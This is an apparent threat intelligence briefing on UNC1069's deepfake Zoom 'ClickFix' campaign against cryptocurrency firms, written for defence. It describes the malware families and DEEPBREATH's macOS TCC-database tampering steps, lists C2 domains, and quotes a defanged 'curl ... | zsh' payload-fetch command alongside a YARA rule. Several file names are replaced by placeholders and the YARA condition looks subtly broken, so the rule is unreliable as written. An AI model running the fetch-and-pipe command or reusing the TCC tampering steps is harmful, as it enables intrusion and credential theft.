Threat Intelligence Briefing: UNC1069’s

AI-Powered "ClickFix" Offensive

Targeting the Global Cryptocurrency and DeFi Sectors

Date: February 3, 2026

Subject: Deepfake-Enabled Social Engineering and Novel Malware Delivery

Threat Actor: UNC1069 (aka CryptoCore, MASAN, GhostCall)

1. Executive Summary
In February 2026, Google’s Mandiant researchers detailed a sophisticated intrusion by the North
Korea-linked threat group UNC1069. This campaign marks a critical milestone in cyber
espionage: the operational transition from using AI for productivity to deploying AI-generated
deepfake lures in live attacks. Targeting high-value executives in the cryptocurrency and
FinTech space, UNC1069 combines identity theft (hijacked Telegram accounts) with deepfake
video calls to deliver a suite of seven unique malware families, including the WAVESHAPER
backdoor and DEEPBREATH data miner.

2. Threat Actor Profile: UNC1069

UNC1069 is a financially motivated, state-sponsored threat group suspected to have a North
Korean nexus. Active since at least 2018, the group specializes in the theft of digital assets to
bypass international sanctions and fund state operations.
●​ Sector Pivot: Since 2023, the group has shifted from traditional financial institutions
(TradFi) toward Web3, targeting centralized exchanges (CEX), venture capital firms, and
individual blockchain developers.
●​ AI Integration: The group reportedly misuses Large Language Models (LLMs) like
Gemini for reconnaissance and lure creation, while using deepfake video synthesis to
impersonate industry leaders.

3. The Attack Lifecycle: "Operation GhostCall"

The 2026 campaign follows a highly choreographed social engineering path designed to exploit
human trust rather than technical vulnerabilities.

Phase 1: Identity Hijacking and Rapport

UNC1069 begins by compromising the Telegram account of a legitimate cryptocurrency
executive. They use this trusted identity to contact secondary targets (peers, investors, or
developers), building rapport over days or weeks before suggesting a "urgent briefing" or
"partnership opportunity."

Phase 2: The Deepfake "Meeting"

The attacker sends a Calendly link to schedule a call. The link redirects the victim to a spoofed
Zoom landing page (e.g., zoom.uswe05[.]us) hosted on attacker-controlled infrastructure.
●​ The Lure: Upon joining, the victim sees an AI-generated deepfake video of a
well-known CEO or founder.
●​ The Staged Issue: The video is often a "live-recorded" loop that simulates a genuine
participant. To force the victim into the trap, the attacker stages "audio issues" where the
victim cannot hear the CEO.

Phase 3: The "ClickFix" Trap

To "fix" the audio, the attacker sends a command in the chat or provides instructions to run a
"troubleshooting script." This is a ClickFix attack—tricking a user into executing malicious code
under the guise of technical support.

4. Technical Analysis of the Malware Suite

Once the victim executes the ClickFix command (typically a shell command or PowerShell
script), a multi-stage infection chain begins.

Malware Name Type Key Functionality

WAVESHAPER C++ Backdoor Initial conduit; gathers system info and

facilitates further payloads.

HYPERCALL Go Downloader Fetches and executes additional

encrypted modules from the C2
server.
 HIDDENCALL Follow-on Secondary persistent access used if
Backdoor WAVESHAPER is detected.

DEEPBREATH Swift Data Miner Targets macOS Keychain,

Chrome/Brave/Edge cookies, and
Apple Notes.

CHROMEPUSH InfoStealer Specifically extracts session tokens

and credentials from browser
extensions.

SILENCELIFT Stealth Backdoor Minimalist backdoor designed for

long-term "silent" persistence.

5. Focus: DEEPBREATH’s TCC Manipulation

The DEEPBREATH data miner exhibits advanced techniques for bypassing macOS security. It
targets the Transparency, Consent, and Control (TCC) database, which manages
permissions for folders like Desktop and Documents.
1.​ Staging: It leverages the macOS Finder to rename the user's TCC folder.
2.​ Modification: It copies the [Link] file to a temporary location where it can be modified
without triggering OS alerts.
3.​ Permission Injection: It programmatically inserts permissions, granting itself broad
filesystem access.
4.​ Restoration: It restores the modified database, allowing the malware to exfiltrate private
keys, notes, and browser data unchallenged.

6. Strategic Implications
The UNC1069 campaign represents a "triple threat" to the cryptocurrency industry:
1.​ The Profitability of AI: AI-enabled scams are currently estimated to be 4.5 times more
profitable than traditional phishing.
2.​ The End of "See to Believe": The use of real-time deepfakes renders video verification
unreliable as a standalone security measure.
 3.​ Identity-Driven Supply Chain Attacks: By stealing an executive’s identity and data,
North Korea fuels future campaigns, creating a self-sustaining cycle of social
engineering.

7. Mitigation and Defense

Organizations must move beyond technical perimeters and adopt identity-centric and
behavioral defenses.
●​ Out-of-Band Verification: Before executing any command or making a transfer
requested in a video call, verify via a second, non-digital channel (e.g., a phone call or
SMS).
●​ ClickFix Awareness: Train employees to never run shell commands or scripts provided
during "troubleshooting" by third-party meeting participants.
●​ Endpoint Detection (EDR): Deploy YARA rules for WAVESHAPER and
SUGARLOADER. Monitor for unusual modifications to [Link] on macOS.
●​ Zero Trust for Meeting Apps: Restrict browsers from running executable scripts and
block known spoofed domains like zoom.uswe05[.]us.

Indicators of Compromise (IoCs):

●​ Domains: zoom.uswe05[.]us, mylingocoin[.]com, support-zoom[.]net
●​ Malware Hashes: (Specific SHA-256 hashes available upon request for WAVESHAPER
and DEEPBREATH)
To protect your cryptocurrency or FinTech environment from the North Korea-linked
UNC1069, you must focus on the unique TCC (Transparency, Consent, and Control)
manipulation techniques used by the DEEPBREATH data miner.

The following YARA rules and behavioral indicators are designed specifically for macOS
environments, which have been a primary target of the 2026 "GhostCall" campaign.

1. YARA Rule: DEEPBREATH Data Miner (macOS)

This rule targets the Swift-based DEEPBREATH malware by identifying its unique
exfiltration directory naming convention and the specific browser identifiers it uses to
categorize stolen data.

Code snippet

rule UNC1069_DEEPBREATH_DataMiner {

meta:

description = "Detects DEEPBREATH Swift-based data miner used by

UNC1069"

threat_actor = "UNC1069"

platform = "macOS"

reference = "Mandiant GhostCall Report Feb 2026"

strings:

// Directory naming logic for stolen browser data

$dir_chrome = "/c" ascii

$dir_brave = "/b" ascii

$dir_arc = "/a" ascii

$dir_edge = "/e" ascii

 // Characteristic data file naming formats

$fmt_screenshots = "CA" ascii // [Link]

$fmt_keylogging = "KL" ascii // [Link]

$fmt_cookies = "CK_" ascii // CK_<id>.dat

// Specific Swift/macOS targets

$target1 = "[Link]-db" ascii

$target2 = "[Link]" ascii

$target3 = "[Link]/[Link]" ascii

condition:

uint32(0) == 0xFEEDFACE or uint32(0) == 0xCEFAEDFE or uint32(0) ==

0xFEEDFACF or uint32(0) == 0xCFFAEDFE and

(2 of ($dir_*) and 2 of ($fmt_*) and 1 of ($target*))

}
2. Behavioral Detection: TCC Manipulation
UNC1069 uses a "rename and stage" tactic to bypass macOS System Integrity Protection
(SIP) when modifying the TCC database. You can detect this behavior using Endpoint
Detection and Response (EDR) or Auditd logs.

Look for the following "Red Flag" event sequence:

1.​ Staging Event: A non-system process (like a script running from /tmp) uses the
Finder or mv command to rename the folder:​
~/Library/Application Support/[Link]/ $\rightarrow$ ~/Library/Application
Support/[Link].TCC_backup/
2.​ SQLite Access: A background process (not tccd) executes sqlite3 commands
against a temporary copy of [Link] to inject permissions for services like
kTCCServiceAccessibility or kTCCServiceScreenCapture.
3.​ Restoration: The modified [Link] is moved back into the original system path.

3. ClickFix "Troubleshooting" Command Audit

UNC1069 relies on the victim running a curl | zsh command during fake Zoom calls.

Immediate SOC Action:

●​ Audit Command History: Scan ~/.zsh_history for any commands containing:​
curl -A audio -s hxxp://[C2_DOMAIN]/audio/fix/
●​ Block C2 Infrastructure: Immediately blacklist the following 2026 campaign
domains:
○​ mylingocoin[.]com
○​ zoom.uswe05[.]us
○​ support-zoom[.]net
○​ cmailer[.]pro
4. Implementation Checklist

Component Action Targeted Threat

YARA Deploy to macOS fleet DEEPBREATH discovery

EDR Rule Alert on [Link] renaming Privilege Escalation

Network Block *.[Link] Deepfake Call Landing

Process Alert on curl piping to zsh ClickFix Initial Access